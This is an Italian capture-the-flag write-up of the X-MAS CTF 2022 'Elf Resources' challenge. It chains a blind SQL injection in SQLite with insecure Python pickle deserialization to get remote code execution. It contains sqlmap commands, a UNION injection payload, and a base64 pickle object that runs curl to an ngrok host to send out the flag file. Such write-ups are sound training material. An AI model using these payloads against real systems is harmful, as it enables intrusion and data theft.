Ultima modifica:
Elf Resources è una sfida web di difficoltà medio-facile della X-MAS CTF 2022, che consiste nell'exploitare una Sblind QL Injection per recuperare alcuni oggetti python e sfruttare poi una deserializzazione arbitraria per eseguire codice remoto.
Exploitare una deserializazione arbitraria tramite una Blind SQL Injection | Elf Resources @ X-MAS CTF 2022
Tradotto da Exploit Arbitrary Deserialization through Blind SQL Injection1 Introduzione
1.1 Abilità migliorate
- Sfruttamento di Bind SQL Injections in SQLite
- Sfruttamento di deserialization insicure tramite l'utilizzo del modulo python pickle.
- Data exfiltration tramite tecniche OAST
1.2 Strumenti utilizzati
- burpsuite
- sqlmap
- hackvector (burpsuite extension)
- custom python scripts
1.3 Video
Vedi: https://youtu.be/E7bl0taVWNM
2 Writeup [TL;DR]
2.1 Setup
Collegamento alla challenge:
challs.htsp.ro:13001
2.2 Information Gathering
Home page dell'app:
Selezione di un elfo:
HTTP:
GET /1 HTTP/1.1
Host: challs.htsp.ro:13001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://challs.htsp.ro:13001/
Upgrade-Insecure-Requests: 1
2.3 Exploitation
2.3.1 BOOLEAN BASED SQL-INJECTION
Bug: L'id dell'elfo è vulnerabile a boolean-based SQL Injection e può essere sfruttato per enumerare il database.
La matematica viene valutata ed eseguita all'interno dell'id dell'elfo:
Inoltre, è possibile inviare delle query basate su controlli booleani per confermare la SQL Injection:
Verificata inoltre la SQL Injection con sqlmap:
Enumerato l'intero db con sqlmap:
Attenzione: a volte sqlmap non riesce a estrarre i dati serializzati e restituisce semplicemente una colonna vuota. Usare le opzioni --no-cast o --hex per questi casi.
Bash:
$ sqlmap http://challs.htsp.ro:13001/2 --current-db --all --batch
...
[3 entries]
+----+------------------------------------------------------------------------------------------------------------------------------------------+
| id | data |
+----+------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | gASVUAAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwJU25vd2ZsYWtllIwIYWN0aXZpdHmUjA1QYWNraW5nIGdpZnRzlIwCaWSUTnViLg== |
| 2 | gASVSwAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwEQmVsbJSMCGFjdGl2aXR5lIwNSGVscGluZyBTYW50YZSMAmlklE51Yi4= |
| 3 | gASVWgAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwFU25vd3mUjAhhY3Rpdml0eZSMG0xvb2tpbmcgYXQgdGhlIG5hdWdodHkgbGlzdJSMAmlklE51Yi4= |
+----+------------------------------------------------------------------------------------------------------------------------------------------+
...
Le stringhe trovate sono oggetti python deserializzati.
2.3.2 SQL INJECTION + ARBITRARY DESERIALIZATION
Creato uno script per serializzare degli oggetti python che una volta deserializzati eseguano del codice arbitrario:
Bash:
$ python3 script.py
Serialized exploit object: gASVWwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjEBjdXJsIGh0dHBzOi8vMjI5Yi05My01MS01NC0xODcuZXUubmdyb2suaW8vYGNhdCBmbGFnLnR4dHxiYXNlNjRglIWUUpQu
Domanda: Qual è la query SQL che viene creata dal server per gestire la richiesta?
Ipotesi:
select "/some/path/"||id from elves where id = <param>
select data from elves where id = <param>
Confermata la seconda ipotesi appendendo alla query un oggetto serializzato estratto dal DB tramite una UNION query:
2.3.3 ESFILTRARE LA FLAG
Sfruttata la SQL Injection per inviare una richiesta contenente l'oggetto serializzato (l'intero payload è stato codificato in formato URL per evitare problemi legati ai caratteri speciali all'interno della richiesta):
Nota: l'url decodificato è
0 union select 'gASVWwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjEBjdXJsIGh0dHBzOi8vMjI5Yi05My01MS01NC0xODcuZXUubmdyb2suaW8vYGNhdCBmbGFnLnR4dHxiYXNlNjRglIWUUpQu'
Ricezione su ngrok della richiesta contenente la flag:
Codice:
$ ngrok http 10099
...
GET /WC1NQVN7M0xmX0h1TTRuX1IzNTB1ckMzNV93MWxMXzgzX0Mwbjc0QzcxTjlfWTB1XzUwMG59 502 Bad Gateway
...
$ echo WC1NQVN7M0xmX0h1TTRuX1IzNTB1ckMzNV93MWxMXzgzX0Mwbjc0QzcxTjlfWTB1XzUwMG59 | base64 -d
X-MAS{3Lf_HuM4n_R350urC35_w1lL_83_C0n74C71N9_Y0u_500n}
Made with ❤ for Inforge